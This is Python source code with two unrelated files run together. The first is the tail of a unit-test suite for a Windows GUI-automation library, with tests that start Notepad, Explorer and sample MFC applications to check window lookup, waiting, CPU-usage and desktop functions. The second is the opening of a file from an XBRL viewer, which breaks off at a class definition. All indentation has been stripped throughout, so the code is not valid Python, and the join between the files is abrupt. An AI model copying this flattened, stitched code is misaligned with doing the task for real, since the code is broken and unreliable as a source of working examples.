self.assertRaises(AppNotConnected, app.active_)
self.assertRaises(AppNotConnected, app.is64bit)
app.start(_notepad_exe())
app.UntitledNotepad.wait('ready')
self.assertEqual(app.active_().handle, app.UntitledNotepad.handle)
app.UntitledNotepad.menu_select("File->Exit")
app.UntitledNotepad.wait_not('exists')
self.assertRaises(RuntimeError, app.active_)
def test_cpu_usage(self):
"""Verify that cpu_usage() works correctly"""
app = Application()
self.assertRaises(AppNotConnected, app.cpu_usage)
app.start(_notepad_exe())
self.assertEqual(0.0 <= app.cpu_usage() <= 100.0, True)
app.UntitledNotepad.menu_select("File->Exit")
app.UntitledNotepad.wait_not('exists')
def test_wait_cpu_usage_lower(self):
"""Test that wait_cpu_usage_lower() works correctly"""
if is_x64_Python() != is_x64_OS():
return None
Application().Start(r'explorer.exe')
def _cabinetwclass_exist():
"Verify if at least one active 'CabinetWClass' window is created"
l = findwindows.find_elements(active_only = True, class_name = 'CabinetWClass')
return (len(l) > 0)
WaitUntil(40, 0.5, _cabinetwclass_exist)
handle = findwindows.find_elements(active_only = True, class_name = 'CabinetWClass')[-1].handle
window = WindowSpecification({'handle': handle, 'backend': 'win32', })
explorer = Application().Connect(process = window.process_id())
try:
explorer.WaitCPUUsageLower(threshold = 1.5, timeout = 60, usage_interval = 2)
window.AddressBandRoot.ClickInput()
window.TypeKeys(r'Control Panel\Programs\Programs and Features', with_spaces=True, set_foreground=True)
window.TypeKeys(r'{ENTER}', set_foreground = False)
WaitUntil(40, 0.5, lambda: len(findwindows.find_elements(active_only = True,
title = 'Programs and Features',
class_name='CabinetWClass')) > 0)
explorer.WaitCPUUsageLower(threshold = 1.5, timeout = 60, usage_interval = 2)
installed_programs = window.FolderView.texts()[1:]
programs_list = ','.join(installed_programs)
if ('Microsoft' not in programs_list) and ('Python' not in programs_list):
hwndwrapper.ImageGrab.grab().save(r'explorer_screenshot.jpg')
hwndwrapper.ActionLogger().log('\ninstalled_programs:\n')
for prog in installed_programs:
hwndwrapper.ActionLogger().log(prog)
self.assertEqual(('Microsoft' in programs_list) or ('Python' in programs_list), True)
finally:
window.Close(2.0)
if UIA_support:
def test_wait_cpu_usage_lower_uia(self):
"""Test that wait_cpu_usage_lower() works correctly for UIA"""
app = Application(backend='uia')
app.start('notepad.exe')
try:
app.wait_cpu_usage_lower(threshold = 1.5, timeout = 30, usage_interval = 2)
finally:
app.kill()
app.cpu_usage = mock.Mock(return_value=10)
self.assertRaises(
RuntimeError, app.wait_cpu_usage_lower,
threshold = 9.0, timeout = 5, usage_interval = 0.5
)
# def test_wait_for_idle_exception(self):
# """Test that method start() raises an exception when wait for idle failed"""
# app = Application()
# self.assertRaises(Exception, app.start, 'cmd.exe')
# # TODO: test and fix the case when cmd.exe can't be killed by app.kill()
def test_windows(self):
"""Test that windows_() works correctly"""
Timings.window_find_timeout = 5
app = Application()
self.assertRaises(AppNotConnected, app.windows_, **{'title' : 'not connected'})
app.start('notepad.exe')
self.assertRaises(ValueError, app.windows_, **{'backend' : 'uia'})
notepad_handle = app.UntitledNotepad.handle
self.assertEqual(app.windows_(visible_only = True), [notepad_handle])
app.UntitledNotepad.menu_select("Help->About Notepad")
aboutnotepad_handle = app.AboutNotepad.handle
self.assertEqual(
app.windows_(visible_only = True, enabled_only = False),
[aboutnotepad_handle, notepad_handle])
app.AboutNotepad.OK.Click()
app.UntitledNotepad.menu_select("File->Exit")
def test_window(self):
"""Test that window_() works correctly"""
app = Application()
self.assertRaises(AppNotConnected, app.window_, **{'title' : 'not connected'})
app.start(_notepad_exe())
self.assertRaises(ValueError, app.windows_, **{'backend' : 'uia'})
title = app.window_(title = "Untitled - Notepad")
title_re = app.window_(title_re = "Untitled[ -]+Notepad")
classname = app.window_(class_name = "Notepad")
classname_re = app.window_(class_name_re = "Not..ad")
handle = app.window_(handle = title.handle)
bestmatch = app.window_(best_match = "Untiotled Notepad")
self.assertNotEqual(title.handle, None)
self.assertNotEqual(title.handle, 0)
self.assertEqual(title.handle, title_re.handle)
self.assertEqual(title.handle, classname.handle)
self.assertEqual(title.handle, classname_re.handle)
self.assertEqual(title.handle, handle.handle)
self.assertEqual(title.handle, bestmatch.handle)
app.UntitledNotepad.menu_select("File->Exit")
def test_getitem(self):
"""Test that __getitem__() works correctly"""
Timings.window_find_timeout = 5
app = Application()
app.start(_notepad_exe())
self.assertRaises(Exception, app['blahblah'])
self.assertRaises(
findbestmatch.MatchError,
app['blahblah']['not here'].__getitem__, 'handle')
self.assertEqual(
app[u'Unt\xeftledNotepad'].handle,
app.window_(title = "Untitled - Notepad").handle)
app.UntitledNotepad.menu_select("Help->About Notepad")
self.assertEqual(
app['AboutNotepad'].handle,
app.window_(title = "About Notepad").handle)
app.AboutNotepad.Ok.Click()
app.UntitledNotepad.menu_select("File->Exit")
def test_getattribute(self):
"""Test that __getattribute__() works correctly"""
Timings.window_find_timeout = 5
app = Application()
app.start(_notepad_exe())
self.assertRaises(
findbestmatch.MatchError,
app.blahblah.__getattribute__, 'handle')
self.assertEqual(
app.UntitledNotepad.handle,
app.window_(title = "Untitled - Notepad").handle)
app.UntitledNotepad.menu_select("Help->About Notepad")
# I think it's OK that this no longer raises a matcherror
# just because the window is not enabled - doesn't mean you
# should not be able to access it at all!
#self.assertRaises(findbestmatch.MatchError,
# app.Notepad.__getattribute__, 'handle')
self.assertEqual(
app.AboutNotepad.handle,
app.window(title = "About Notepad").handle)
app.AboutNotepad.Ok.Click()
app.UntitledNotepad.menu_select("File->Exit")
def test_kill(self):
"""test killing the application"""
app = Application()
app.start(_notepad_exe())
app.UntitledNotepad.Edit.type_keys("hello")
app.UntitledNotepad.menu_select("File->Print...")
#app.Print.FindPrinter.Click() # Vasily: (Win7 x64) "Find Printer" dialog is from splwow64.exe process
#app.FindPrinters.Stop.Click()
app.kill()
self.assertRaises(AttributeError, app.UntitledNotepad.Edit)
def test_process_is_running(self):
"""Tests process is running and wait for exit function"""
app = Application()
app.start(_notepad_exe())
app.UntitledNotepad.wait("ready")
self.assertTrue(app.is_process_running())
self.assertRaises(TimeoutError, lambda: app.wait_for_process_exit(timeout=5, retry_interval=1))
app.kill()
app.wait_for_process_exit()
self.assertFalse(app.is_process_running())
def test_should_return_not_running_if_not_started(self):
"""Tests that works on new instance
is_process_running/wait_for_process_exit can be called on not started/disconnected instance
"""
app = Application()
app.wait_for_process_exit(timeout=10, retry_interval=1)
self.assertFalse(app.is_process_running())
class TestInheritedApp(Application):
"""Our inherited version of class"""
def test_method(self):
"""This method should be called without any issues"""
return self is not None
def test_application_inheritance(self):
"""Test that Application class can be inherited and has it's own methods"""
app = ApplicationTestCases.TestInheritedApp()
self.assertTrue(app.test_method())
class WindowSpecificationTestCases(unittest.TestCase):
"""Unit tests for the application.Application class"""
def setUp(self):
"""Set some data and ensure the application is in the state we want"""
Timings.defaults()
self.app = Application().start("Notepad")
self.dlgspec = self.app.UntitledNotepad
self.ctrlspec = self.app.UntitledNotepad.Edit
def tearDown(self):
"""Close the application after tests"""
# close the application
#self.app.UntitledNotepad.menu_select("File->Exit")
self.app.kill()
def test__init__(self):
"""Test creating a new spec by hand"""
wspec = WindowSpecification(
dict(
best_match=u"UntitledNotepad",
app=self.app)
)
self.assertEqual(
wspec.window_text(),
u"Untitled - Notepad")
def test__init__both_keywords(self):
"""Test creating a new spec with ambiguity by process and app simultaneously"""
self.assertRaises(KeyError, WindowSpecification,
dict(best_match=u"UntitledNotepad", app=self.app, process=self.app.process)
)
def test__call__(self):
"""Test that __call__() correctly raises an error"""
self.assertRaises(AttributeError, self.dlgspec)
self.assertRaises(AttributeError, self.ctrlspec)
# no best_match!
wspec = WindowSpecification(
dict(title=u"blah", app=self.app)
)
self.assertRaises(AttributeError, wspec)
def test_wrapper_object(self):
"""Test that we can get a control"""
self.assertEqual(True, isinstance(self.dlgspec, WindowSpecification))
self.assertEqual(
True,
isinstance(self.dlgspec.wrapper_object(), hwndwrapper.HwndWrapper)
)
def test_window(self):
"""test specifying a sub window of an existing specification"""
sub_spec = self.dlgspec.child_window(class_name = "Edit")
sub_spec_legacy = self.dlgspec.window(class_name = "Edit")
self.assertEqual(True, isinstance(sub_spec, WindowSpecification))
self.assertEqual(sub_spec.class_name(), "Edit")
self.assertEqual(sub_spec_legacy.class_name(), "Edit")
def test__getitem__(self):
"""test item access of a windowspec"""
self.assertEqual(
True,
isinstance(self.dlgspec['Edit'], WindowSpecification)
)
self.assertEqual(self.dlgspec['Edit'].class_name(), "Edit")
self.assertRaises(AttributeError, self.ctrlspec.__getitem__, 'edit')
def test_getattr(self):
"""Test getting attributes works correctly"""
self.assertEqual(
True,
isinstance(self.dlgspec.Edit, WindowSpecification)
)
self.assertEqual(self.dlgspec.Edit.class_name(), "Edit")
# check that getting a dialog attribute works correctly
self.assertEqual(
"Notepad",
self.dlgspec.class_name())
# Check handling 'parent' as a WindowSpecification
spec = self.ctrlspec.child_window(parent=self.dlgspec)
self.assertEqual(spec.class_name(), "Edit")
def test_exists(self):
"""Check that windows exist"""
self.assertEqual(True, self.dlgspec.exists())
self.assertEqual(True, self.dlgspec.exists(0))
self.assertEqual(True, self.ctrlspec.exists())
# TODO: test a control that is not visible but exists
#self.assertEqual(True, self.app.DefaultIME.exists())
start = timestamp()
self.assertEqual(False, self.app.BlahBlah.exists(timeout=.1))
self.assertEqual(True, timestamp() - start < .3)
start = timestamp()
self.assertEqual(False, self.app.BlahBlah.exists(timeout=3))
self.assertEqual(True, 2.7 < timestamp() - start < 3.3)
def test_exists_timing(self):
"""test the timing of the exists method"""
# try ones that should be found immediately
start = timestamp()
self.assertEqual(True, self.dlgspec.exists())
self.assertEqual(True, timestamp() - start < .3)
start = timestamp()
self.assertEqual(True, self.ctrlspec.exists())
self.assertEqual(True, timestamp() - start < .3)
# try one that should not be found
start = timestamp()
self.assertEqual(True, self.dlgspec.exists(.5))
timedif = timestamp() - start
self.assertEqual(True, .49 > timedif < .6)
def test_wait(self):
"""test the functionality and timing of the wait method"""
allowable_error = .2
start = timestamp()
self.assertEqual(self.dlgspec.wrapper_object(), self.dlgspec.wait("enaBleD "))
time_taken = (timestamp() - start)
if not 0 <= time_taken < (0 + 2 * allowable_error):
self.assertEqual(.02, time_taken)
start = timestamp()
self.assertEqual(self.dlgspec.wrapper_object(), self.dlgspec.wait(" ready"))
self.assertEqual(True, 0 <= (timestamp() - start) < 0 + allowable_error)
start = timestamp()
self.assertEqual(self.dlgspec.wrapper_object(), self.dlgspec.wait(" exiSTS"))
self.assertEqual(True, 0 <= (timestamp() - start) < 0 + allowable_error)
start = timestamp()
self.assertEqual(self.dlgspec.wrapper_object(), self.dlgspec.wait(" VISIBLE "))
self.assertEqual(True, 0 <= (timestamp() - start) < 0 + allowable_error)
start = timestamp()
self.assertEqual(self.dlgspec.wrapper_object(), self.dlgspec.wait(" ready enabled"))
self.assertEqual(True, 0 <= (timestamp() - start) < 0 + allowable_error)
start = timestamp()
self.assertEqual(self.dlgspec.wrapper_object(), self.dlgspec.wait("visible exists "))
self.assertEqual(True, 0 <= (timestamp() - start) < 0 + allowable_error)
start = timestamp()
self.assertEqual(self.dlgspec.wrapper_object(), self.dlgspec.wait("exists "))
self.assertEqual(True, 0 <= (timestamp() - start) < 0 + allowable_error)
start = timestamp()
self.assertEqual(self.dlgspec.wrapper_object(), self.dlgspec.wait("actIve "))
self.assertEqual(True, 0 <= (timestamp() - start) < 0 + allowable_error)
self.assertRaises(SyntaxError, self.dlgspec.Wait, "Invalid_criteria")
def test_wait_non_existing(self):
"""test timing of the wait method for non-existing element"""
allowable_error = .2
start = timestamp()
self.assertRaises(TimeoutError, self.app.BlahBlah.wait, 'exists')
expected = Timings.window_find_timeout
self.assertEqual(True, expected - allowable_error <= (timestamp() - start) < expected + allowable_error)
def test_wait_invisible(self):
"""test timing of the wait method for non-existing element and existing invisible one"""
# TODO: re-use an MFC sample for this test
allowable_error = .2
start = timestamp()
self.assertRaises(TimeoutError, self.app.BlahBlah.wait, 'visible')
expected = Timings.window_find_timeout
self.assertEqual(True, expected - allowable_error <= (timestamp() - start) < expected + allowable_error)
# make sure Status Bar is not visible
status_bar_menu = self.app.UntitledNotepad.menu().item('&View').sub_menu().item('&Status Bar')
if status_bar_menu.is_checked():
status_bar_menu.select()
# check that existing invisible control is still found with 'exists' criterion
status_bar_spec = self.app.UntitledNotepad.child_window(class_name="msctls_statusbar32", visible_only=False)
self.assertEqual('StatusBar', status_bar_spec.wait('exists').friendly_class_name())
start = timestamp()
self.assertRaises(TimeoutError, status_bar_spec.wait, 'exists visible')
self.assertEqual(True, expected - allowable_error <= (timestamp() - start) < expected + allowable_error)
start = timestamp()
self.assertRaises(TimeoutError, status_bar_spec.wait, 'visible exists')
self.assertEqual(True, expected - allowable_error <= (timestamp() - start) < expected + allowable_error)
def test_wait_not(self):
"""
Test that wait not fails for all the following
* raises and error when criteria not met
* timing is close to the timeout value
"""
allowable_error = .16
start = timestamp()
self.assertRaises(TimeoutError, self.dlgspec.wait_not, "enaBleD ", .1, .05)
taken = timestamp() - start
if .1 < (taken) > .1 + allowable_error:
self.assertEqual(.12, taken)
start = timestamp()
self.assertRaises(TimeoutError, self.dlgspec.wait_not, " ready", .1, .05)
self.assertEqual(True, .1 <= (timestamp() - start) < .1 + allowable_error)
start = timestamp()
self.assertRaises(TimeoutError, self.dlgspec.wait_not, " exiSTS", .1, .05)
self.assertEqual(True, .1 <= (timestamp() - start) < .1 + allowable_error)
start = timestamp()
self.assertRaises(TimeoutError, self.dlgspec.wait_not, " VISIBLE ", .1, .05)
self.assertEqual(True, .1 <= (timestamp() - start) < .1 + allowable_error)
start = timestamp()
self.assertRaises(TimeoutError, self.dlgspec.wait_not, " ready enabled", .1, .05)
self.assertEqual(True, .1 <= (timestamp() - start) < .1 + allowable_error)
start = timestamp()
self.assertRaises(TimeoutError, self.dlgspec.wait_not, "visible exists ", .1, .05)
self.assertEqual(True, .1 <= (timestamp() - start) < .1 + allowable_error)
start = timestamp()
self.assertRaises(TimeoutError, self.dlgspec.wait_not, "exists ", .1, .05)
self.assertEqual(True, .1 <= (timestamp() - start) < .1 + allowable_error)
start = timestamp()
self.assertRaises(TimeoutError, self.dlgspec.wait_not, "actIve ", .1, .05)
self.assertEqual(True, .1 <= (timestamp() - start) < .1 + allowable_error)
self.assertRaises(SyntaxError, self.dlgspec.wait_not, "Invalid_criteria")
# def test_wait_ready(self):
# """Make sure the friendly class is set correctly"""
# allowable_error = .02
#
# start = timestamp()
# self.assertEqual(self.dlgspec.ctrl_(), self.dlgspec.WaitReady(.1, .05))
#
# # it it didn't finish in the allocated time then raise an error
# # we assertEqual to something that we know is not right - to get a
# # better error report
# if not 0 <= (timestamp() - start) < 0 + allowable_error:
# self.assertEqual(0, timestamp() - start)
# #self.assertEqual(True, 0 <= (timestamp() - start) < 0 + allowable_error)
#
#
# def testWaitNotReady(self):
# "Make sure the friendly class is set correctly"
#
# allowable_error = .02
#
# start = timestamp()
# self.assertRaises(RuntimeError, self.dlgspec.WaitNotReady, .1, .05)
#
# if not .1 <= (timestamp() - start) < .1 + allowable_error:
# self.assertEqual(.1, timestamp() - start)
#
# #self.assertEqual(True, .1 <= (timestamp() - start) < .1 + allowable_error)
#
#
# def testWaitEnabled(self):
# "Make sure the friendly class is set correctly"
#
# allowable_error = .02
#
# start = timestamp()
# self.assertEqual(self.dlgspec.ctrl_(), self.dlgspec.WaitEnabled(.1, .05))
#
# if not 0 <= (timestamp() - start) < 0 + allowable_error:
# self.assertEqual(0, timestamp() - start)
#
# #self.assertEqual(True, 0 <= (timestamp() - start) < 0 + allowable_error)
#
#
# def testWaitNotEnabled(self):
# "Make sure the friendly class is set correctly"
#
# allowable_error = .02
#
# start = timestamp()
# self.assertRaises(RuntimeError, self.dlgspec.WaitNotEnabled, .1, .05)
# if not .1 <= (timestamp() - start) < .1 + allowable_error:
# self.assertEqual(.1, timestamp() - start)
# #self.assertEqual(True, .1 <= (timestamp() - start) < .1 + allowable_error)
#
# def testWaitVisible(self):
# "Make sure the friendly class is set correctly"
#
# allowable_error = .02
#
# start = timestamp()
# self.assertEqual(self.dlgspec.ctrl_(), self.dlgspec.WaitVisible(.1, .05))
# if not 0 <= (timestamp() - start) < 0 + allowable_error:
# self.assertEqual(0, timestamp() - start)
# #self.assertEqual(True, 0 <= (timestamp() - start) < 0 + allowable_error)
#
# def testWaitNotVisible(self):
# "Make sure the friendly class is set correctly"
#
# allowable_error = .02
#
# start = timestamp()
# self.assertRaises(RuntimeError, self.dlgspec.WaitNotVisible, .1, .05)
# # it it didn't finish in the allocated time then raise an error
# # we assertEqual to something that we know is not right - to get a
# # better error report
# if not .1 <= (timestamp() - start) < .1 + allowable_error:
# self.assertEqual(.1, timestamp() - start)
#
# def testWaitExists(self):
# "Make sure the friendly class is set correctly"
#
# allowable_error = .02
#
# start = timestamp()
# self.assertEqual(self.dlgspec.ctrl_(), self.dlgspec.WaitExists(.1, .05))
#
# # it it didn't finish in the allocated time then raise an error
# # we assertEqual to something that we know is not right - to get a
# # better error report
# if not 0 <= (timestamp() - start) < 0 + allowable_error:
# self.assertEqual(.1, timestamp() - start)
#
# def testWaitNotExists(self):
# "Make sure the friendly class is set correctly"
#
# allowable_error = .02
#
# start = timestamp()
# self.assertRaises(RuntimeError, self.dlgspec.WaitNotExists, .1, .05)
# if not .1 <= (timestamp() - start) < .1 + allowable_error:
# self.assertEqual(.1, timestamp() - start)
# #self.assertEqual(True, .1 <= (timestamp() - start) < .1 + allowable_error)
def test_depth(self):
"""Test that descendants() with depth works correctly"""
self.dlgspec.menu_select("Format -> Font")
self.assertNotEqual(
len(self.app['Font'].descendants(depth=1)),
len(self.app['Font'].descendants(depth=2)))
def test_print_control_identifiers(self):
"""Make sure print_control_identifiers() doesn't crash"""
self.dlgspec.print_control_identifiers()
self.ctrlspec.print_control_identifiers()
def test_print_control_identifiers_file_output(self):
"""Make sure print_control_identifiers() creates correct file"""
output_filename = "test_print_control_identifiers.txt"
self.dlgspec.print_ctrl_ids(filename=output_filename)
if os.path.isfile(output_filename):
with open(output_filename, "r") as test_log_file:
content = str(test_log_file.readlines())
self.assertTrue("'Untitled - NotepadEdit'" in content
and "'Edit'" in content)
self.assertTrue("child_window(class_name=\"msctls_statusbar32\"" in content)
os.remove(output_filename)
else:
self.fail("print_control_identifiers can't create a file")
self.ctrlspec.dump_tree(filename=output_filename)
if os.path.isfile(output_filename):
with open(output_filename, "r") as test_log_file:
content = str(test_log_file.readlines())
self.assertTrue("child_window(class_name=\"Edit\")" in content)
os.remove(output_filename)
else:
self.fail("print_control_identifiers can't create a file")
def test_find_elements_re(self):
"""Test for bug #90: A crash in 'find_elements' when called with 'title_re' argument"""
self.dlgspec.wait('visible')
windows = findwindows.find_elements(title_re = "Untitled - Notepad")
self.assertTrue(len(windows) >= 1)
class WaitUntilDecoratorTests(unittest.TestCase):
"""Unit tests for always_wait_until and always_wait_until_passes decorators"""
def test_always_wait_until_decorator_success(self):
"""Test always_wait_until_decorator success"""
@always_wait_until(4, 2)
def foo():
return True
self.assertTrue(foo())
def test_always_wait_until_decorator_failure(self):
"""Test wait_until_decorator failure"""
@always_wait_until(4, 2)
def foo():
return False
self.assertRaises(TimeoutError, foo)
def test_always_wait_until_passes_decorator_success(self):
"""Test always_wait_until_passes_decorator success"""
@always_wait_until_passes(4, 2)
def foo():
return True
self.assertTrue(foo())
def test_always_wait_until_passes_decorator_failure(self):
"""Test always_wait_until_passes_decorator failure"""
@always_wait_until_passes(4, 2)
def foo():
raise Exception("Unexpected Error in foo")
self.assertRaises(TimeoutError, foo)
class MultiLevelWindowSpecificationTests(unittest.TestCase):
"""Unit tests for multi-level (3+) WindowSpecification objects"""
if UIA_support:
def setUp(self):
"""Set some data and ensure the application is in the state we want"""
Timings.slow()
self.app = Application(backend='uia').start(os.path.join(mfc_samples_folder, u"RowList.exe"))
self.dlg = self.app.RowListSampleApplication
def tearDown(self):
"""Close the application after tests"""
self.dlg.CloseButton.click()
self.dlg.wait_not('visible')
def test_3level_specification(self):
"""Test that controls can be accessed by 3 levels of attributes"""
self.dlg.Toolbar.About.click()
self.dlg.AboutRowList.OK.click()
#self.dlg.AboutRowList.wait_not('visible') # XXX: it takes more than 50 seconds!
else: # Win32
def setUp(self):
"""Set some data and ensure the application is in the state we want"""
Timings.defaults()
self.app = Application(backend='win32').start(os.path.join(mfc_samples_folder, u"CmnCtrl3.exe"))
self.dlg = self.app.CommonControlsSample
def tearDown(self):
"""Close the application after tests"""
self.dlg.SendMessage(win32defines.WM_CLOSE)
def test_4level_specification(self):
"""Test that controls can be accessed by 4 levels of attributes"""
self.assertEqual(self.dlg.CPagerCtrl.Pager.Toolbar.button_count(), 12)
if UIA_support:
class DesktopUiaWindowSpecificationTests(unittest.TestCase):
"""Unit tests for Desktop(backend='uia') object"""
def setUp(self):
"""Set some data and ensure the application is in the state we want"""
Timings.slow()
self.app = Application().start('explorer.exe "' + mfc_samples_folder_32 + '"')
self.desktop = Desktop(backend='uia')
def tearDown(self):
"""Close the application after tests"""
self.desktop.MFC_samplesDialog.CloseButton.click()
self.desktop.MFC_samplesDialog.wait_not('visible')
def test_folder_list(self):
"""Test that ListViewWrapper returns correct files list in explorer.exe"""
files_list = self.desktop.MFC_samplesDialog.Shell_Folder_View.Items_View.wrapper_object()
self.assertEqual([item.window_text() for item in files_list.get_items()],
[u'x64', u'BCDialogMenu.exe', u'CmnCtrl1.exe', u'CmnCtrl2.exe', u'CmnCtrl3.exe',
u'CtrlTest.exe', u'mfc100u.dll', u'RebarTest.exe', u'RowList.exe', u'TrayMenu.exe'])
self.assertEqual(files_list.item('RebarTest.exe').window_text(), 'RebarTest.exe')
def test_set_backend_to_window_uia(self):
"""Set backend to method window(), except exception ValueError"""
with self.assertRaises(ValueError):
self.desktop.window(backend='uia', title='MFC_samplesDialog')
with self.assertRaises(ValueError):
self.desktop.window(backend='win32', title='MFC_samplesDialog')
def test_get_list_of_windows_uia(self):
"""Test that method .windows() returns a non-empty list of windows"""
dlgs = self.desktop.windows()
self.assertTrue(len(dlgs) > 1)
def test_set_backend_to_windows_uia(self):
"""Set backend to method windows, except exception ValueError"""
with self.assertRaises(ValueError):
self.desktop.windows(backend='win32')
with self.assertRaises(ValueError):
self.desktop.windows(backend='uia')
def test_only_visible_windows_uia(self):
"""Set visible_only to the method windows"""
dlgs = self.desktop.windows(visible_only=True)
self.assertTrue(all([win.is_visible() for win in dlgs]))
def test_only_enable_windows_uia(self):
"""Set enable_only to the method windows"""
dlgs = self.desktop.windows(enabled_only=True)
self.assertTrue(all([win.is_enabled() for win in dlgs]))
class DesktopWin32WindowSpecificationTests(unittest.TestCase):
"""Unit tests for Desktop(backend='win32') object"""
def setUp(self):
"""Set some data and ensure the application is in the state we want"""
Timings.defaults()
self.app = Application(backend='win32').start(os.path.join(mfc_samples_folder, u"CmnCtrl3.exe"))
self.desktop = Desktop(backend='win32')
self.window_title = 'Common Controls Sample'
def tearDown(self):
"""Close the application after tests"""
self.desktop.window(title=self.window_title, process=self.app.process).SendMessage(win32defines.WM_CLOSE)
def test_simple_access_through_desktop(self):
"""Test that controls can be accessed by 4 levels of attributes"""
dlg = self.desktop.window(title=self.window_title, process=self.app.process)
self.assertEqual(dlg.Pager.Toolbar.button_count(), 12)
def test_set_backend_to_window_win32(self):
"""Set backend to method window(), except exception ValueError"""
with self.assertRaises(ValueError):
self.desktop.window(backend='uia', title=self.window_title, process=self.app.process)
with self.assertRaises(ValueError):
self.desktop.window(backend='win32', title=self.window_title, process=self.app.process)
def test_get_list_of_windows_win32(self):
"""Test that method .windows() returns a non-empty list of windows"""
dlgs = self.desktop.windows()
self.assertTrue(len(dlgs) > 1)
window_titles = [win_obj.window_text() for win_obj in dlgs]
self.assertTrue(self.window_title in window_titles)
def test_set_backend_to_windows_win32(self):
"""Set backend to method windows, except exception ValueError"""
with self.assertRaises(ValueError):
self.desktop.windows(backend='win32')
with self.assertRaises(ValueError):
self.desktop.windows(backend='uia')
def test_only_visible_windows_win32(self):
"""Set visible_only to the method windows"""
dlgs = self.desktop.windows(visible_only=True)
self.assertTrue(all([win.is_visible() for win in dlgs]))
def test_only_enable_windows_win32(self):
"""Set enable_only to the method windows"""
dlgs = self.desktop.windows(enabled_only=True)
self.assertTrue(all([win.is_enabled() for win in dlgs]))
def test_from_point_win32(self):
"""Test method Desktop(backend='win32').from_point(x, y)"""
combo = self.app.Common_Controls_Sample.ComboBox.wrapper_object()
x, y = combo.rectangle().mid_point()
combo_from_point = self.desktop.from_point(x, y)
self.assertEqual(combo, combo_from_point)
def test_top_from_point_win32(self):
"""Test method Desktop(backend='win32').top_from_point(x, y)"""
combo = self.app.Common_Controls_Sample.ComboBox.wrapper_object()
dlg = self.app.Common_Controls_Sample.wrapper_object()
x, y = combo.rectangle().mid_point()
dlg_from_point = self.desktop.top_from_point(x, y)
self.assertEqual(dlg, dlg_from_point)
if __name__ == "__main__":
unittest.main()
|
ViewWinRenderedGrid.py | '''
Created on Oct 5, 2010
@author: Mark V Systems Limited
(c) Copyright 2010 Mark V Systems Limited, All rights reserved.
'''
import os, threading, time, logging
from tkinter import Menu, BooleanVar, font as tkFont
from arelle import (ViewWinTkTable, ModelDocument, ModelDtsObject, ModelInstanceObject, XbrlConst,
ModelXbrl, XmlValidate, Locale, FunctionXfi,
ValidateXbrlDimensions)
from arelle.ModelValue import qname, QName
from arelle.RenderingResolver import resolveAxesStructure, RENDER_UNITS_PER_CHAR
from arelle.ModelFormulaObject import Aspect, aspectModels, aspectModelAspect
from arelle.ModelInstanceObject import ModelDimensionValue
from arelle.ModelRenderingObject import (ModelClosedDefinitionNode, ModelEuAxisCoord,
ModelFilterDefinitionNode,
OPEN_ASPECT_ENTRY_SURROGATE)
from arelle.FormulaEvaluator import init as formulaEvaluatorInit, aspectMatches
from arelle.PrototypeInstanceObject import FactPrototype
from arelle.UITkTable import XbrlTable
from arelle.DialogNewFactItem import getNewFactItemOptions
from collections import defaultdict
from arelle.ValidateXbrl import ValidateXbrl
from arelle.XbrlConst import eurofilingModelNamespace, eurofilingModelPrefix
from arelle.ValidateXbrlDimensions import isFactDimensionallyValid
try:
from tkinter import ttk
_Combobox = ttk.Combobox
except ImportError:
from ttk import Combobox
_Combobox = Combobox
emptyList = []
ENTRY_WIDTH_IN_CHARS = 12 # width of a data column entry cell in characters (nominal)
ENTRY_WIDTH_SCREEN_UNITS = 100
PADDING = 20 # screen units of padding between entry cells
qnPercentItemType = qname("{http://www.xbrl.org/dtr/type/numeric}num:percentItemType")
qnPureItemType = qname("{http://www.xbrl.org/2003/instance}xbrli:pureItemType")
integerItemTypes = {"integerItemType", "nonPositiveIntegerItemType", "negativeIntegerItemType",
"longItemType", "intItemType", "shortItemType", "byteItemType",
"nonNegativeIntegerItemType", "unsignedLongItemType", "unsignedIntItemType",
"unsignedShortItemType", "unsignedByteItemType", "positiveIntegerItemType"}
TABLE_AXIS_ROLES = (XbrlConst.euTableAxis, XbrlConst.tableBreakdown, XbrlConst.tableBreakdownMMDD, XbrlConst.tableBreakdown201305, XbrlConst.tableBreakdown201301, XbrlConst.tableAxis2011)
'''
Returns a tuple with all known table axis roles
'''
def getTableAxisArcroles():
return TABLE_AXIS_ROLES
def viewRenderedGrid(modelXbrl, tabWin, lang=None):
modelXbrl.modelManager.showStatus(_("viewing rendering"))
view = ViewRenderedGrid(modelXbrl, tabWin, lang)
view.blockMenuEvents = 1
menu = view.contextMenu()
optionsMenu = Menu(view.viewFrame, tearoff=0)
optionsMenu.add_command(label=_("New fact item options"), underline=0, command=lambda: getNewFactItemOptions(modelXbrl.modelManager.cntlr, view.newFactItemOptions))
optionsMenu.add_command(label=_("Open breakdown entry rows"), underline=0, command=view.setOpenBreakdownEntryRows)
view.ignoreDimValidity.trace("w", view.viewReloadDueToMenuAction)
optionsMenu.add_checkbutton(label=_("Ignore Dimensional Validity"), underline=0, variable=view.ignoreDimValidity, onvalue=True, offvalue=False)
view.xAxisChildrenFirst.trace("w", view.viewReloadDueToMenuAction)
optionsMenu.add_checkbutton(label=_("X-Axis Children First"), underline=0, variable=view.xAxisChildrenFirst, onvalue=True, offvalue=False)
view.yAxisChildrenFirst.trace("w", view.viewReloadDueToMenuAction)
optionsMenu.add_checkbutton(label=_("Y-Axis Children First"), underline=0, variable=view.yAxisChildrenFirst, onvalue=True, offvalue=False)
menu.add_cascade(label=_("Options"), menu=optionsMenu, underline=0)
view.tablesMenu = Menu(view.viewFrame, tearoff=0)
menu.add_cascade(label=_("Tables"), menu=view.tablesMenu, underline=0)
view.tablesMenuLength = 0
view.menuAddLangs()
saveMenu = Menu(view.viewFrame, tearoff=0)
saveMenu.add_command(label=_("HTML file"), underline=0, command=lambda: view.modelXbrl.modelManager.cntlr.fileSave(view=view, fileType="html"))
saveMenu.add_command(label=_("Layout model"), underline=0, command=lambda: view.modelXbrl.modelManager.cntlr.fileSave(view=view, fileType="xml"))
saveMenu.add_command(label=_("XBRL instance"), underline=0, command=view.saveInstance)
menu.add_cascade(label=_("Save"), menu=saveMenu, underline=0)
view.view()
view.blockSelectEvent = 1
view.blockViewModelObject = 0
view.viewFrame.bind("<Enter>", view.cellEnter, '+')
view.viewFrame.bind("<Leave>", view.cellLeave, '+')
view.viewFrame.bind("<FocusOut>", view.onQuitView, '+')
view.viewFrame.bind("<1>", view.onClick, '+') # does not currently work (since tktable changes)
view.viewFrame.bind("<Configure>", view.onConfigure, '+') # frame resized, redo column header wrap length ratios
view.blockMenuEvents = 0
return view
class ViewRenderedGrid(ViewWinTkTable.ViewTkTable):
def __init__(self, modelXbrl, tabWin, lang):
